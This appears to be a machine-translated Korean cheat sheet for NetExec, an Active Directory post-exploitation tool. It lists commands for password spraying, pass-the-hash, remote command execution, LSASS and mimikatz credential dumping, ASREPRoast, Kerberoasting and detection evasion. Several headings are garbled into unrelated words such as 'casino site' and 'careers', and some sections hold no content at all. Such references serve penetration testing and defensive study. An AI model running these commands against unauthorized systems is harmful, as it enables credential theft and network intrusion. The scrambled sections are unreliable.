콘텐츠로 이동

네트워크

NetExec (이전 CrackMapExec)는 네트워크 프로토콜 남용 및 자격 공격을 통해 큰 Active Directory 네트워크의 보안을 평가하는 데 도움이되는 포스트 폭발 도구입니다.

설치 및 설치

Command Description
pip3 install netexec Install NetExec via pip
pipx install netexec Install with pipx (recommended)
git clone https://github.com/Pennyw0rth/NetExec.git Clone from GitHub
cd NetExec && pip3 install . Install from source
netexec --version Check installed version
netexec --help Display help information

기본 사용

Command Description
netexec smb 192.168.1.0/24 Scan SMB on subnet
netexec smb 192.168.1.100 -u username -p password Authenticate with credentials
netexec smb 192.168.1.100 -u username -H ntlmhash Authenticate with NTLM hash
netexec smb 192.168.1.100 -u '' -p '' Anonymous authentication
netexec smb targets.txt -u username -p password Use target file

Protocol 지원

SMB 프로토콜

Command Description
netexec smb 192.168.1.100 Basic SMB enumeration
netexec smb 192.168.1.100 --shares Enumerate shares
netexec smb 192.168.1.100 --users Enumerate users
netexec smb 192.168.1.100 --groups Enumerate groups
netexec smb 192.168.1.100 --local-groups Enumerate local groups
netexec smb 192.168.1.100 --sessions Enumerate sessions
netexec smb 192.168.1.100 --disks Enumerate disks

WinRM 프로토콜

Command Description
netexec winrm 192.168.1.100 -u username -p password WinRM authentication
netexec winrm 192.168.1.100 -u username -p password -x "whoami" Execute command
netexec winrm 192.168.1.100 -u username -p password -X powershell.ps1 Execute PowerShell script

LDAP 프로토콜

Command Description
netexec ldap 192.168.1.100 -u username -p password LDAP authentication
netexec ldap 192.168.1.100 -u username -p password --users Enumerate LDAP users
netexec ldap 192.168.1.100 -u username -p password --groups Enumerate LDAP groups
netexec ldap 192.168.1.100 -u username -p password --computers Enumerate computers

MSSQL 프로토콜

Command Description
netexec mssql 192.168.1.100 -u username -p password MSSQL authentication
netexec mssql 192.168.1.100 -u username -p password -q "SELECT @@version" Execute SQL query
netexec mssql 192.168.1.100 -u username -p password --local-auth Local authentication

SSH 프로토콜

Command Description
netexec ssh 192.168.1.100 -u username -p password SSH authentication
netexec ssh 192.168.1.100 -u username -k id_rsa SSH key authentication
netexec ssh 192.168.1.100 -u username -p password -x "id" Execute command

인증 방법

비밀번호 인증

Command Description
netexec smb 192.168.1.100 -u username -p password Single credential
netexec smb 192.168.1.100 -u users.txt -p passwords.txt Credential lists
netexec smb 192.168.1.100 -u username -p passwords.txt Password spraying
netexec smb 192.168.1.100 -u users.txt -p password User enumeration

Hash 인증

Command Description
netexec smb 192.168.1.100 -u username -H ntlmhash NTLM hash
netexec smb 192.168.1.100 -u username -H lmhash:ntlmhash LM:NTLM hash
netexec smb 192.168.1.100 -u users.txt -H hashes.txt Hash lists

Kerberos 인증

Command Description
netexec smb 192.168.1.100 -u username -p password -k Kerberos authentication
netexec smb 192.168.1.100 -u username --use-kcache Use Kerberos cache
netexec smb 192.168.1.100 -u username -p password --kerberos Force Kerberos

회사연혁

회사연혁

Command Description
netexec smb 192.168.1.100 --shares List shares
netexec smb 192.168.1.100 --shares -u username -p password Authenticated share listing
netexec smb 192.168.1.100 --spider SHARE Spider share contents
netexec smb 192.168.1.100 --spider SHARE --pattern "*.txt" Search for files

회사 소개

Command Description
netexec smb 192.168.1.100 --users Enumerate users
netexec smb 192.168.1.100 --rid-brute RID bruteforce
netexec smb 192.168.1.100 --users --rid-brute 1000-2000 RID range

그룹소개

Command Description
netexec smb 192.168.1.100 --groups Enumerate groups
netexec smb 192.168.1.100 --local-groups Local groups
netexec smb 192.168.1.100 --groups "Domain Admins" Specific group

컴퓨터 Enumeration

Command Description
netexec ldap 192.168.1.100 --computers Enumerate computers
netexec smb 192.168.1.100 --computers SMB computer enumeration

명령 실행

SMB 명령 실행

Command Description
netexec smb 192.168.1.100 -u username -p password -x "whoami" Execute command
netexec smb 192.168.1.100 -u username -p password -X script.ps1 Execute PowerShell script
netexec smb 192.168.1.100 -u username -p password --exec-method wmiexec Use WMI execution
netexec smb 192.168.1.100 -u username -p password --exec-method smbexec Use SMB execution

WinRM 명령 실행

Command Description
netexec winrm 192.168.1.100 -u username -p password -x "Get-Process" PowerShell command
netexec winrm 192.168.1.100 -u username -p password -X script.ps1 Execute script

모듈

내장 모듈

Command Description
netexec smb 192.168.1.100 -M spider_plus Enhanced spidering
netexec smb 192.168.1.100 -M enum_avproducts Enumerate AV products
netexec smb 192.168.1.100 -M gpp_password Group Policy Preferences
netexec smb 192.168.1.100 -M lsassy LSASS dumping
netexec smb 192.168.1.100 -M mimikatz Mimikatz execution

모듈 옵션

Command Description
netexec smb 192.168.1.100 -M spider_plus -o READ_ONLY=false Module options
netexec smb 192.168.1.100 -M lsassy -o BLOODHOUND=true Bloodhound output

Database 운영

Command Description
netexec smb 192.168.1.100 --users --export users.csv Export to CSV
netexec db Database management
netexec db --workspace default Set workspace
netexec db --clear-database Clear database

고급 기능

Credential 청소

Command Description
netexec smb targets.txt -u users.txt -p passwords.txt --continue-on-success Continue on success
netexec smb targets.txt -u users.txt -p passwords.txt --fail-limit 3 Fail limit

비밀번호

Command Description
netexec smb 192.168.1.100 --pass-pol Get password policy
netexec ldap 192.168.1.100 --pass-pol LDAP password policy

Bloodhound 통합

Command Description
netexec ldap 192.168.1.100 -u username -p password --bloodhound Collect Bloodhound data
netexec ldap 192.168.1.100 -u username -p password --bloodhound -c All All collections

ASREP로스트

Command Description
netexec ldap 192.168.1.100 -u users.txt --asreproast asrep.txt ASREPRoast attack
netexec ldap 192.168.1.100 -u username -p password --asreproast asrep.txt Authenticated ASREPRoast

채용정보

Command Description
netexec ldap 192.168.1.100 -u username -p password --kerberoasting kerb.txt Kerberoasting attack

산출과 로깅

Command Description
netexec smb 192.168.1.100 --verbose Verbose output
netexec smb 192.168.1.100 --debug Debug output
netexec smb 192.168.1.100 -o output.txt Save output to file
netexec smb 192.168.1.100 --log logs/ Log directory

제품 설명

Config 파일 (~/.nxc/nxc.conf)

카지노사이트

프로토콜 별 옵션

Command Description
netexec smb 192.168.1.100 --port 445 Custom port
netexec smb 192.168.1.100 --timeout 5 Connection timeout
netexec smb 192.168.1.100 --threads 100 Thread count

Evasion 기술

Command Description
netexec smb 192.168.1.100 --jitter 1-5 Random delay
netexec smb 192.168.1.100 --delay 2 Fixed delay
netexec smb 192.168.1.100 --obfs Obfuscation

일반 공격 Scenarios

도메인 Enumeration

카지노사이트

Credential 공격

카지노사이트

포스트 폭발

카지노사이트

다른 도구와 통합

Impacket 통합

Command Description
netexec smb 192.168.1.100 -u username -p password --exec-method wmiexec Use Impacket WMI
netexec smb 192.168.1.100 -u username -p password --exec-method smbexec Use Impacket SMB

Crackmapexec 마이그레이션

Command Description
netexec --convert-cme-db Convert CME database
alias cme='netexec' Create alias for compatibility

문제 해결

Command Description
netexec --help General help
netexec smb --help Protocol-specific help
netexec -v Version information
netexec --debug smb 192.168.1.100 Debug mode

최고의 연습

  • 사용 가능한 경우 enumeration 전에 인증
  • 검출을 방지하기 위해 적절한 지연을 구현
  • 다른 참여를 구성하기 위해 workspaces를 사용합니다.
  • 더 분석을위한 수출 결과
  • 종합 평가를 위한 다른 도구와 결합
  • 방어적인 응답을 위한 감시자
  • 압도적인 표적을 피하기 위하여 적합한 실 조사를 사용하십시오
  • 자주 묻는 질문
  • 대규모 공격 전에 자격 증명
  • 필요한 경우 obfuscation 기법 사용

보안 고려 사항

  • 공인된 네트워크에서만 사용
  • 적절한 액세스 제어 구현
  • 보안 도구에 의한 탐지 모니터링
  • 최소한의 권한 원칙
  • 규정 준수에 대한 모든 활동
  • 적용 가능한 경우 파란색 팀과의 협조
  • 적절한 정리 절차 구현
  • 보관 자격 증명
  • 가능한 경우 암호화 통신
  • 자주 묻는 질문